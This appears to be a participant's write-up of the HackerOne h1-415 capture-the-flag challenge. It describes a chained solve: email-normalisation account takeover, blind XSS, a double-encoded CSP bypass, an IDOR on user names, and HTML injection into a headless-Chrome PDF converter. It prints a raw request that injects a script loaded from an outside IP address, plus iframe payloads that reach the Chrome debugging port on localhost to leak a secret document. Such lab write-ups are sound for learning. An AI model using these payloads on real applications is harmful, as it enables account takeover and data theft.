

Jan 23rd (4 months ago)

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s1r1u5 posted a comment.

Oh man, such a nice CTF I really enjoyed and learned a lot while solving this challenge. I started solving the challenge right away when hackerone tweeted about it, It literally took about a week to figure out the Jobert's doc and I nearly spent 11-14 hours a day.

The converter takes image and produces a pdf and whatever our name it will be reflected there. But there is an issue, the server sanitises the input, <>{}} characters will be removed. Its clear that we have to some how abuse the converter which is a pdf generator and get the Jobert's Doc .

DAY1

I did some content discovery and found that there is some blind xss in the support, but we can't access it so I thought that we need to find an account takeover vulnerability. Support is only accessible to user with license. I started thinking about the ways to ATO.

- 1. Issue in the session.
- 2. Account recover which looked quite obvious.

So with this in mind we spent whole day on finding the patterns between email, username, session and recover token, so that we can crack the session:)

Wrote a script to dump the data. I couldn't find anything interesting. F693520

DAY 2 -- Bruteforcing flask SECRET_KEY

Same as 1st day, dumping whole bunch of data and finding patterns. No use at all, then started looking at issues like padding oracles, injections etc., At one point found that the session is flask session

eyJfY3NyZl90b2tlbi16ImM3YmE00WUwYTcxMDk10WJkOTVhMTcxODhlZGY1NTQ1NzFjMzkyYjQifQ.XigzyA.092z8hDhn1wea3RKit03eXS8PE, funnily started brute forcing the SECRET_KEY using rockyou.txt to forge session, obviously brute force failed. And started looking more at the recovery. What even funnier is, my assumption is that as the server resets for every hour so SECRET_KEY is taking randomly from the some kind of known word list, I tried bruteforce three resets, not on the server:).

DAY 3 ATO

I have a feeling that I even couldn't make the first level, but didn't stopped digging. I started fuzzing the email, and found that we can give special characters at the end, and what server does is if there are any special characters like <>{}... these will remove. With the previous recon we know that the <code>jobert@mydocz.cosmic</code> is the customer. So I register an account with `jobert@mydocz.cosmic<<<,, the server will remove the special chars and give us a recovery token which is of form <code>jobert@mydocz.cosmic:hash</code>, with this token we can recover account of Jobert.

Customers of the application has extra feature called support, in that we can rate the support chat, if we give one star rating it shows We're sorry about that. Our team will review this conversation shortly. Now, its quite obvious there is an blind xss in the support.

Day 4 CSP Bypass

After ATO of jobert's account, then the next step is to bypass CSP, it didn't take that much time to bypass, with bXSS at report page.

```
X-Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'self'
https://raw.githack.com/mattboldt/typed.js/master/lib/; img-src data: *
```

https://github.com/mattboldt/typed.js/tree/master/lib/, which we can't do unless and until we request the mattboldt
to push js for us. If we can somehow traverse back to our github repo, and keeping this part

[https://github.com/mattboldt/typed.js/tree/master/lib/] then CSP can be bypassed, so I tried double encoding and it worked like a charm like this

[https://raw.githack.com/mattboldt/typed.js/master/lib/typed.js/...%252f...%252f...%252f...%252f...%252flnvaders0/xss/81faa59004ebeee525502d38b302445be93a2131/as.js].

I extracted as much as possible information from the local host of the server, $% \left(1\right) =\left(1\right) \left(1\right) \left($

- 1. It's running on 3000 port
- 2. Bot is not logged in to any account
- 3. The review(bot's) location is here

- 4. We can access review page https://h1-
 - 415.h1ctf.com/support/review/4ed48068429cffc81753d177e4b4409b5f1790d83678573ba040a198fda32edc
- 5. There is an option called update user in the review page, I tried updating Jobert's name with <code>user_id=2</code> it showed <code>Can't update user</code>.

Day 5 IDOR to Change user names of other users

The error says Can't update user, I thought can we update our user and also there is an user_id identifier in the settings page, then I made a request with my user_id, damn we can update other users and server is not sanitising the input. There is an XSS in pdf generator.

 $POST / support/review/a77cf9de605c84e0acc0d66ba0161cece87b607d53b85fbed17cf0cee10b849e \ HTTP/1.11cd$

Host: h1-415.h1ctf.com
Connection: close
Content-Length: 119
Cache-Control: max-age=0

Origin: https://h1-415.h1ctf.com Upgrade-Insecure-Requests: 1

```
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88
Safari/537.36
Sec-Fetch-User: ?1
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, image/apng, */*;q=0.8, application/
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Referer: https://h1-415.h1ctf.com/support/review/f19b5d11e2b584dd6cdb335afe411a261b1cdde2f183b54289fc7d761
Accept-Encoding: gzip, deflate
Accept-Language: en-GB, en-US;q=0.9, en;q=0.8
Cookie: _csrf_token=44aed35ee13d1ae16aac1f8c6cb723a33a81d992; session=eyJfY3NyZl90b2tlbi16IjQ0YWVkMzVlZTEz
name=<script src='http://165.22.213.110/a1.js'></script>&user_id=5&_csrf_token=44aed35ee13d1ae16aac1f8c6cb
```

The server resets every hour, creating a new user and getting the review location is a mess, so wrote a script which automates this register.py (F693607)

Day 6&7 Rabbit Holes every where

I literally failed solving this step and this is the final step of the CTF. These are things I have tried

- 1. Port scan with aquatone's and nmap's most used http
 ports https://github.com/michenriksen/aquatone/blob/93c79694068733186878f50a545fa69f3dcec9ce/core/ports.g
 o
- 2. Tried to takeover admin@mydocz.cosmic. We cant takeover this account from the client side, I tried recovering the account using the same technique used for Jobert's account using XSS in pdf generator and BXSS. I failed at making the requests in localhost, you can see number of commits I did for this here https://github.com/Invaders0/xss .
- 3. Checked if there is any exploits are there for the Headless Chrome

 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)

 HeadlessChrome/79.0.3945.0 Safari/537.36 Failed
- 4. Content Discovery at http://localhost/ . Failed
- 5. Lot of other things etc.,

Meanwhile Hackerone released a hint

THE LAST HINT FOR THE #h1415 CTF:

Have you asked the CTF support bot for Jobert's doc?

Maybe the user agent can tell you where to look next. 💁 🧟

After some time understanding the hint, I typed Jobert's Doc in the chat. It showed.

[I love flags! Where is yours? Wait... I think someone is converting top secret documents as we speak!]

I am like WHAT THE HECK IS THIS?

Then I tried looking at the localStorage, nothing found.

Day 8

Last 2 hours before the challenge

I am made my mind that I can't solve this challenge.

But I installed Node.js Headless chrome and generated some pdfs, in the github page https://github.com/puppeteer/puppeteer 1 found there is an option called debug. I tried searching for puppeteer debug port and the port is 9222 which is not in the aquatone's list, seclist, nmap list. I am literally **********.

I did port scanning in the first place but I didn't do it properly.

Then I changed my username to document.write('<iframe src="http://localhost:9222/" width="100%" height="200%"> </iframe>'); this and something is running there its headless chrome debugging mode.

Stealing JOBERT's DOC*

Doing conversion with the below name

```
window.onload = function () {
   document.write('<iframe src="http://localhost:9222/json/list" width="100%" height="100%"></iframe>');
};
```

and entering flag in the chat.

Resulted below data in the document.

```
, {
"description": "",
 "devtoolsFrontendUrl": "/devtools/inspector.html?
ws=localhost:9222/devtools/page/E07921059A405434488F22AB366D12DA",
 "id": "E07921059A405434488F22AB366D12DA",
 "title": "My Docz Converter",
 "type": "page",
 "url": "http://localhost:3000/login?
secret_document=0d0a2d2a3b87c44ed13e0cbfc863ad4322c7913735218310e3d9ebe37e6a84ab.pdf",
 "webSocketDebuggerUrl": "ws://localhost:9222/devtools/page/E07921059A405434488F22AB366D12DA"
}, {
 "description": "",
 "devtoolsFrontendUrl": "/devtools/inspector.html?
ws=localhost:9222/devtools/page/8881164BAC5870CC4C2B2768FE47276C",
"id": "8881164BAC5870CC4C2B2768FE47276C",
 "title": "about:blank",
 "type": "page",
 "url": "about:blank",
 "webSocketDebuggerUrl": "ws://localhost:9222/devtools/page/8881164BAC5870CC4C2B2768FE47276C"
}, {
 "description": "",
 "devtoolsFrontendUrl": "/devtools/inspector.html?
ws=localhost:9222/devtools/page/3758C9CE2153E8B69D7250E7FFF221C2",
 "id": "3758C9CE2153E8B69D7250E7FFF221C2",
 "title": "about:blank",
 "type": "page",
 "url": "about:blank",
 "webSocketDebuggerUrl": "ws://localhost:9222/devtools/page/3758C9CE2153E8B69D7250E7FFF221C2"
}, {
 "description": "",
 "devtoolsFrontendUrl": "/devtools/inspector.html?
ws=localhost:9222/devtools/page/49553C3E9C52C1F9A0C1228A6A5739FF",
 "id": "49553C3E9C52C1F9A0C1228A6A5739FF",
 "title": "about:blank",
 "type": "page",
 "url": "about:blank",
 "webSocketDe
```

And finally here is the flag

https://h1-415.h1ctf.com/documents/secret_document=0d0a2d2a3b87c44ed13e0cbfc863ad4322c7913735218310e3d9ebe37e6a84ab.pdf

```
h1ctf{y3s_1m_c0sm1c_n0w}
```

HELL OF A RIDE

TRYHARDER

```
2 attachments:
F693607: register.py
F693604: Screenshot_from_2020-01-23_13-23-26.png
```

